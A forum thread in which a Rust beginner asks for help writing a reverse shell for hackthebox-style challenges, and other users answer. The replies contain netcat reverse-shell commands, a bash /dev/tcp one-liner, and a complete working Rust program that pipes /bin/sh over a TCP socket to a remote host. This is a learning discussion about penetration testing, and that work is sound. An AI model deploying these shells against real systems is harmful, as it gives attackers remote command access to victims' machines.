Writing a reverse shell in Rust?

So I'm a Rust beginner, and I thought it would be cool to write my own reverse shell in Rust. I like messing with security and occasionally do boot2root challenges like hackthebox. Usually I just use a simple netcat shell, since meterpreter is a little bit overkill and is detected by virtually every antivirus in existance. But I thought creating my own thing would be a fun challenge. I already wrote a simple program that creates a TcpStream it can send/receive stuff from.

Now my question is, how could I go about "piping" a program (cmd or bash) through a TcpStream (like netcat's -e flag does)? I found a couple of existing reverse shells written in Rust, but most of them are pretty outdated and don't compile on the latest version anymore (and generally not cross-platform, which would also be nice).

Posted Apr 1, 2020, 10:29 AM UTC

3925
steven4012•

What's a reverse shell?

19
ThePixelCoderOP•

Basically a simple backdoor that connects to the attacker's server and gives the attacker shell access. A simple example would be an attacker running nc -l 1337 to start the server/listener, and the victim running nc {attacker's IP} 1337 -e bash.

It's commonly used for pentesting and boot2root type challenges. Say you found an exploit that gives you command execution (for example through a crappy PHP application). It would be a pain in the ass to use that exploit to find out more about the system and escalate privileges, so you would set up a reverse shell that makes it easier to run commands on the server, as if you're SSHed into it.

24
RustDragon•

It's also really useful for debugging jenkins pipelines ;)

15
jaschmedia•

I both hate the fact that this is possible and needed but also love it. This sounds exactly like the thing I need! Thanks :)

4
ThePixelCoderOP•

If you're not physically breaking into your CI's servers Payday-style to debug your Python script you're doing it wrong

9
[deleted]•

[deleted]

-1
sjustinas•

Try spawning a Command with piped stdio and stdout. Not sure whether bash requires a TTY and how that integrates with pipes.

18
ThePixelCoderOP•

That looks like pretty much exactly what I needed! I wrote a simple program that sends "echo hello world" to cmd.exe and that works fine. It doesn't quite work on text-based GUIs like nano, but for the purpose of this project it should be Good Enough™. Thanks for the help!

4
obrienslalom•

Sure you can use Command, but then you are basically still relying on something like netcat being on the box to create the socket and spawn the shell. The typical way to do this in C is to create the socket to the remote address, use dup2 to switch out your input/output file descriptors and then spawn /bin/sh (using execve). This should be pretty simple to translate to Rust, certainly if you use existing crates that have equivalent methods names.

There are plenty of examples of this in C that you should use as reference. They are pretty straightforward if you don't know C.

7
ThePixelCoderOP•

I could just use a TcpStream instead of netcat right? And I've indeed seen examples using dup2 and execve, but I would like it to be cross-platform so I could use it on Windows boxes as well.

2
obrienslalom•

Sure, you can launch whatever you want at the end of that. If you first determine the OS, you can just pick the shell/strategy that is appropriate for the system you're on. Of course, you don't have to use a reverse shell at all...

2
iggy_koopa•
4
epic_pork•

Why not use std::process::Command ?

4
iggy_koopa•

std::process::Command seems likes it's designed to run a command as a one off. Subprocess seems a little better suited to open a shell and interact with it. I haven't used either, so may be wrong. Just seemed that way from the documentation examples.

1
ThePixelCoderOP•

That looks promising, thanks! I don't have a lot of time right now, but I'll check it out later.

1
cedricgrothues•
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("192.168.1.3:6666").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}

source

2
ThePixelCoderOP•

Yeah I saw that, but it uses unix-specific stuff, and ideally I would like it to be cross-platform so I can just use it for everything. Still pretty cool though, and I could always just make two platform-specific versions.

2
cedricgrothues•

I think that might be the easiest way

2
ThePixelCoderOP•

Yeah probably. Thanks for the help mate!

2
Michael-F-Bryan•

That's probably what you'll end up doing. You can use #[cfg(unix)] and #[cfg(windows)] to tell the compiler to only compile the annotated item on a given platform.

That means you could write a attach_tcp_stream_to_command() for Windows and another for *nix, and the compiler will make sure you call the correct function for that platform.

(Example implementation on the playground)

Normally you'll create a cross-platform wrapper over this, that way consumers of your reverse shell code don't need to worry about the nuances of connecting TCP streams to a child process.

2
ThePixelCoderOP•

Oh, that's nice! I was just gonna create two completely separate projects, but that's much easier. Thanks!

1
Michael-F-Bryan•

You may also be interested in seeing how the standard library deals with this. They need to provide a cross-platform API which looks and behaves identically regardless of the platform. It's the same problem, but at a much larger scale.

The notify crate may be useful as another source of inspiration for writing cross-platform code. They have a much narrower API than the standard library (it's a mechanism for monitoring filesystem events) so it may be easier to wrap your head around.

It's also just interesting to read someone else's code to see how they've tackled a problem.

2
VBQL•

You can just run the command on the lines of piping /bin/bash through /dev/tcp/[IP]/[PORT]

2
ThePixelCoderOP•

Yeah I know I can just use a simple oneliner like bash -i >& /dev/tcp/127.0.0.1/1337 0>&1, but the whole fun of this is creating my own shell that could maybe add some useful functionality for automating certain things.

1